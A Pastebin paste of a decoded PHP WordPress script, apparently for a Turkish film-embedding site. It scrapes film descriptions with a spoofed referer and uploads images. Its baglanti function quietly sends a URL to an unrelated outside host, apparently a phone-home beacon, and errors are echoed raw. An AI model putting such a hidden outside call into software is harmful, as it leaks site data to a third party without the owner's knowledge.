Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * @ Pirate-Sky Crew :: PHP Decoder v2
- * @ Author: pLa$71k
- * @ Web: http://pirate-sky.com
- * @ Pirate-Sky Crew © 2008 - 2013
- */
- function redirect($url)
- {
- if (!headers_sent()) {
- header("Location: " . $url);
- exit();
- } else {
- echo "<script type=\"text/javascript\">";
- echo "window.location.href=\"" . $url . "\";";
- echo "</script>";
- echo "<noscript>";
- echo "<meta http-equiv=\"refresh\" content=\"0;url=" . $url . "\" />";
- echo "</noscript>";
- exit();
- }
- }
- function veri_al($link)
- {
- if (!empty($link)) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $link);
- curl_setopt($ch, CURLOPT_REFERER, "Googlebot/2.1 (+http://www.google.com/bot.html");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $icerik = curl_exec($ch);
- curl_close($ch);
- return $icerik;
- }
- }
- function aciklama_cek($kelime)
- {
- if (!empty($kelime)) {
- $film = str_replace(" ", "%20", $kelime);
- $filmara = veri_al("http://www.sinemalar.com/filmler/ara/" . $film . "");
- preg_match("~<td class=\"yorum_av\"><a href=\"(.*?)\"~i", $filmara, $linki);
- $filmebak = veri_al($linki[1]);
- preg_match("~<p class=\"c333\">(.*?)</p>~i", $filmebak, $acik);
- $ek = "<p>SineHD Ekibi Mutlu Seyirler Diler.</p>";
- return $acik[1] . $ek;
- }
- }
- function resimYukle($url, $dosya_adi)
- {
- $upDir = wp_upload_dir();
- $uzanti = end(explode(".", basename($url)));
- $download = wp_remote_get($url);
- $img_type = wp_remote_retrieve_header($download, "content-type");
- $upload = wp_upload_bits($dosya_adi . "." . $uzanti, "", wp_remote_retrieve_body($download));
- $attachment = array(
- "guid" => $upDir['baseurl'] . _wp_relative_upload_path($upload['file']),
- "post_title" => $dosya_adi,
- "post_mime_type" => $img_type
- );
- $img_att_ID = wp_insert_attachment($attachment, $upload['file']);
- $img_data = wp_generate_attachment_metadata($img_att_ID, $upload['file']);
- wp_update_attachment_metadata($img_att_ID, $img_data);
- return $upload['url'];
- }
- function baglanti($url)
- {
- $git = "http://www.cugik.org/sisko/e.php?url=" . $url;
- file_get_contents($git);
- }
- function icerik_temizle($veri)
- {
- $mesaj = $veri;
- $mesaj = preg_replace("~<div id=\"tab2\" class=\"tab_content\">~i", "!--nextpage--", $mesaj);
- $mesaj = preg_replace("~<div id=\"tab3\" class=\"tab_content\">~i", "!--nextpage--", $mesaj);
- $mesaj = strip_tags($mesaj, "<iframe><p><br><object><param><embed>");
- $mesaj = preg_replace("~!--nextpage--~i", "<!--nextpage-->", $mesaj);
- return trim($mesaj);
- }
- function icerik_ayarla($saf, $varmi, $data, $next)
- {
- if ($varmi == "yok" && $next != "") {
- $icerik = $data . $saf;
- $icerik = preg_replace("~<div id=\"tab1\" class=\"tab_content\">~i", "!--more--<div id=\"tab1\" class=\"tab_content\">", $icerik);
- $icerik = preg_replace("~<div id=\"tab2\" class=\"tab_content\">~i", $next, $icerik);
- $icerik = preg_replace("~<div id=\"tab3\" class=\"tab_content\">~i", $next, $icerik);
- $icerik = strip_tags($icerik, "<iframe><p><br><object><param><embed><blockquote><img>");
- $icerik = preg_replace("~" . $next . "~i", "<" . $next . ">", $icerik);
- $icerik = preg_replace("~!--more--~i", "<!--more-->", $icerik);
- $son = trim($icerik);
- } else if ($varmi == "yok" && $next == "") {
- $icerik = $data . $saf;
- $icerik = preg_replace("~<div id=\"tab1\" class=\"tab_content\">~i", "!--more--<div id=\"tab1\" class=\"tab_content\">", $icerik);
- $icerik = strip_tags($icerik, "<iframe><p><br><object><param><embed><blockquote><img>");
- $icerik = preg_replace("~!--more--~i", "<!--more-->", $icerik);
- $son = trim($icerik);
- } else if ($varmi == "var" && $next != "") {
- $icerik = $saf;
- $icerik = preg_replace("~<div id=\"tab1\" class=\"tab_content\">~i", "!--more--<div id=\"tab1\" class=\"tab_content\">", $icerik);
- $icerik = preg_replace("~<div id=\"tab2\" class=\"tab_content\">~i", $next, $icerik);
- $icerik = preg_replace("~<div id=\"tab3\" class=\"tab_content\">~i", $next, $icerik);
- $icerik = strip_tags($icerik, "<iframe><p><br><object><param><embed>");
- $icerik = preg_replace("~" . $next . "~i", "<" . $next . ">", $icerik);
- $icerik = preg_replace("~!--more--~i", "<!--more-->", $icerik);
- $son = trim($icerik);
- } else if ($varmi == "var" && $next == "") {
- $icerik = $saf;
- $icerik = preg_replace("~<div id=\"tab1\" class=\"tab_content\">~i", "!--more--<div id=\"tab1\" class=\"tab_content\">", $icerik);
- $icerik = strip_tags($icerik, "<iframe><p><br><object><param><embed>");
- $icerik = preg_replace("~!--more--~i", "<!--more-->", $icerik);
- $son = trim($icerik);
- }
- return $son;
- }
- function sorgu($query)
- {
- $sonuc = @mysql_query($query);
- if (!$sonuc) {
- echo mysql_error();
- return false;
- }
- return $sonuc;
- }
- function rows($query)
- {
- if (!($benzercek = @mysql_fetch_array($query))) {
- break;
- }
- $sonuc = $benzercek['ID'];
- return $sonuc;
- }
- error_reporting(E_ALL ^ E_NOTICE);
- @header("Content-Type: text/html; charset=utf-8");
- include_once("../wp-load.php");
- include_once("../wp-includes/category.php");
- include_once("../wp-includes/formatting.php");
- include_once("../wp-config.php");
- require_once(ABSPATH . "wp-admin/includes/image.php");
- require_once(ABSPATH . "wp-blog-header.php");
- $tablo = $table_prefix . "posts";
- $ayar = $wpdb->get_row("SELECT * FROM sb_ayar", ARRAY_A);
- $ozel = $wpdb->get_row("SELECT * FROM sb_ozel_alan", ARRAY_A);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement